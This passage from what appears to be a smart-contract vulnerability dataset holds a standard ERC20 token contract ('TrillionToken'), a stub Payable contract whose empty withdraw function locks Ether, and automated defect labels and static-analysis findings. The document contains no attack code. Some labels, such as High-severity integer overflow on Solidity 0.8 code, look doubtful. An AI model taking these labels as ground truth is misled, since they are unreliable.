14, 15, 16, 17, 18, 19, 20, 21, 22]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"oracle.sol": [32, 33, 34, 35, 36, 37, 38, 39, 24, 25, 26, 27, 28, 29, 30, 31]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"oracle.sol": [53, 54, 55, 56, 57]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"oracle.sol": [51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"oracle.sol": [102]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"oracle.sol": [96]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"oracle.sol": [109]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"oracle.sol": [95]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"oracle.sol": [101]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"oracle.sol": [108]}}] | null | null | [{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"idRequest","type":"bytes32"},{"indexed":false,"internalType":"uint64","name":"likes","type":"uint64"},{"indexed":false,"internalType":"uint64","name":"shares","type":"uint64"},{"indexed":false,"internalType":"uint64","name":"views","type":"uint64"}],"name":"AnswerRequest","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"idProm","type":"bytes32"},{"indexed":false,"internalType":"uint256","name":"nbAbos","type":"uint256"}],"name":"AnswerRequestBounty","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"idRequest","type":"bytes32"},{"indexed":false,"internalType":"uint8","name":"typeSN","type":"uint8"},{"indexed":false,"internalType":"string","name":"idPost","type":"string"},{"indexed":false,"internalType":"string","name":"idUser","type":"string"}],"name":"AskRequest","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"typeSN","type":"uint8"},{"indexed":false,"internalType":"string","name":"idPost","type":"string"},{"indexed":false,"internalType":"string","name":"idUser","type":"string"},{"indexed":false,"internalType":"bytes32","name":"idProm","type":"bytes32"}],"name":"AskRequestBounty","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[{"internalType":"address","name":"campaignContract","type":"address"},{"internalType":"bytes32","name":"idRequest","type":"bytes32"},{"internalType":"uint64","name":"likes","type":"uint64"},{"internalType":"uint64","name":"shares","type":"uint64"},{"internalType":"uint64","name":"views","type":"uint64"}],"name":"answer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"campaignContract","type":"address"},{"internalType":"bytes32","name":"idProm","type":"bytes32"},{"internalType":"uint256","name":"nbAbos","type":"uint256"}],"name":"answerBounty","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"typeSN","type":"uint8"},{"internalType":"string","name":"idPost","type":"string"},{"internalType":"string","name":"idUser","type":"string"},{"internalType":"bytes32","name":"idRequest","type":"bytes32"}],"name":"ask","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"typeSN","type":"uint8"},{"internalType":"string","name":"idPost","type":"string"},{"internalType":"string","name":"idUser","type":"string"},{"internalType":"bytes32","name":"idProm","type":"bytes32"}],"name":"askBounty","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bool","name":"allow","type":"bool"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"changeAnswer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bool","name":"allow","type":"bool"}],"name":"changeAsk","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"u","type":"address"}],"name":"oracleFee","outputs":[{"internalType":"uint256","name":"f","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"campaignContract","type":"address"},{"internalType":"bytes32","name":"idRequest","type":"bytes32"},{"internalType":"uint64","name":"likes","type":"uint64"},{"internalType":"uint64","name":"shares","type":"uint64"},{"internalType":"uint64","name":"views","type":"uint64"}],"name":"thirdPartyAnswer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"transferToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | None | false | bzzr://fe32d259cddcec2b4f8e1b006bfa096441a9c7802b740aa63b1416527c17f171 |
|||
TrillionToken | 0xbbd830e04699ab17529005dc572453d5f6e63611 | Solidity | // File: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Payable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Payable {
// Payable address can receive Ether
address payable public owner;
// Payable constructor can receive Ether
constructor() payable {
owner = payable(msg.sender);
}
// Function to deposit Ether into this contract.
// Call this function along with some Ether.
// The balance of this contract will be automatically updated.
function deposit() external payable {
}
// Call this function along with some Ether.
// The function will throw an error since this function is not payable.
function notPayable() view external {
}
// Function to withdraw all Ether from this contract.
function withdraw() view external {
}
// Function to transfer Ether from this contract to address from input
function transfer(address payable _to, uint _amount) view external {
}
}
// File: ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: TrillionToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
import "./ReentrancyGuard.sol";
import "./Payable.sol";
contract TrillionToken is ERC20 {
constructor() ERC20('Trillion', 'T') {
_mint(msg.sender, 300000000 * 10 ** 18);
}
} | [{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["530"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["511", "499", "484", "547", "547"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["270", "294", "250", "251", "271", "293"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [120, 121, 122]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [106, 107, 108]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [64, 65, 66, 67, 68, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [92, 93, 94]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [75, 76, 77, 78, 79, 80]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [167, 168, 169, 170, 171, 172]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [21, 22, 23, 24, 25, 26, 27]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ERC20.sol": [256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [212, 213, 214, 215, 216, 217]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [192, 193, 194, 195, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Context.sol": [20, 21, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [152, 150, 151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [136, 134, 135]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SafeMath.sol": [34, 35, 36, 37, 38, 39]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [147, 148, 149, 150, 151, 152, 153, 154, 155]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [84, 85, 86]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [192, 193, 194, 188, 189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [67, 68, 69]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [98, 99, 100]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [112, 113, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [169, 170, 171, 172]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [59, 60, 61]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [129, 130, 131, 132]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC20.sol": [120, 118, 119]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"Payable.sol": [32, 33, 31]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Context.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC20.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TrillionToken.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Payable.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"IERC20.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ReentrancyGuard.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SafeMath.sol": [3]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"Payable.sol": [17, 18]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"Context.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"TrillionToken.sol": [13]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 268, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 289, "severity": 1}, 